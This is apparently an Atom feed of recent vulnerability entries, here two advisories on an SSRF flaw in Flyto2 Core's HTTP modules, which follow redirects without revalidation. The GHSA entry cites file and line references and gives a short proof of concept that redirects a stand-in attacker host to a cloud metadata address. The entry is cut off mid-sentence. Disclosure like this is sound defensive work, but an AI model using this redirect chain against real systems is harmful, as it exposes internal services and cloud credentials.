<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://db.gcve.eu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-09-28T08:10:19.354878+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@gcve.eu</email>
  </author>
  <link href="https://db.gcve.eu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://db.gcve.eu/vuln/cve-2026-67424</id>
    <title>CVE-2026-67424 — Flyto2 Core: Guarded HTTP modules follow redirects into internal space without per-hop SSRF revalidation</title>
    <updated>2026-09-28T08:10:19.374517+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> flytohub flyto-core</p>
<p>Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.7, the HTTP modules http.get, http.request, and http.batch in src/core/modules/atomic/http/get.py, src/core/modules/atomic/http/request.py, and src/core/modules/atomic/http/batch.py validate only the initial URL, then follow redirects with allow_redirects=True and without per-hop Location revalidation, allowing a public URL to redirect into internal address space and return the internal response body. This issue is fixed in version 2.26.7.</p></div>
    </content>
    <link href="https://db.gcve.eu/vuln/cve-2026-67424"/>
  </entry>
  <entry>
    <id>https://db.gcve.eu/vuln/ghsa-c9hr-64h3-gxpc</id>
    <title>GHSA-c9hr-64h3-gxpc — Flyto2 Core: Guarded HTTP modules follow redirects into internal space without per-hop SSRF revalidation</title>
    <updated>2026-09-28T08:10:19.374600+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: flyto-core</p>
<p>## Summary
The HTTP modules that DO call the SSRF guard (`http.get`, `http.request`, `http.batch`) validate only the initial URL, then issue the request with aiohttp's default `allow_redirects=True` and perform no per-hop revalidation. An attacker hosts a public URL that 302-redirects to an internal address; the guard passes on the public host and aiohttp transparently follows the redirect into internal space, returning the internal body.</p>
<p>## Root Cause
`src/core/modules/atomic/http/get.py:116` calls `session.get(url, ...)` with no `allow_redirects` argument → aiohttp default `True`. `request.py:60` sets `allow_redirects=follow_redirects` (default True at :327); `batch.py:57` likewise. A repo grep of `http/` for `on_request_redirect` / `response.history` returns NONE — there is no redirect interception or Location revalidation.</p>
<p>## Impact
Full readable SSRF that defeats the primary SSRF control on the very modules that correctly validate. Confidentiality of internal/metadata responses (C:H), S:C.</p>
<p>## Proof of Concept
Verified live: `http.get` with allowlisted base `127.0.0.1` followed a `302 Location: http://127.0.0.2/...` (non-allowlisted) and returned `INTERNAL-VIA-REDIRECT`.
```
attacker hosts http://attacker.tld/r  -&gt;  302 Location: http://&lt;cloud-metadata-ip&gt;/latest/meta-data/...
execute_module http.get {"url":"http://attacker.tld/r"}
```</p>
<p>## Attack Chain
1. Entry: `execute_module http.get {url:"http://attacker.tld/r"}` (attacker 302-&gt;internal). Guard: `validate_url_with…</p></div>
    </content>
    <link href="https://db.gcve.eu/vuln/ghsa-c9hr-64h3-gxpc"/>
  </entry>
</feed>
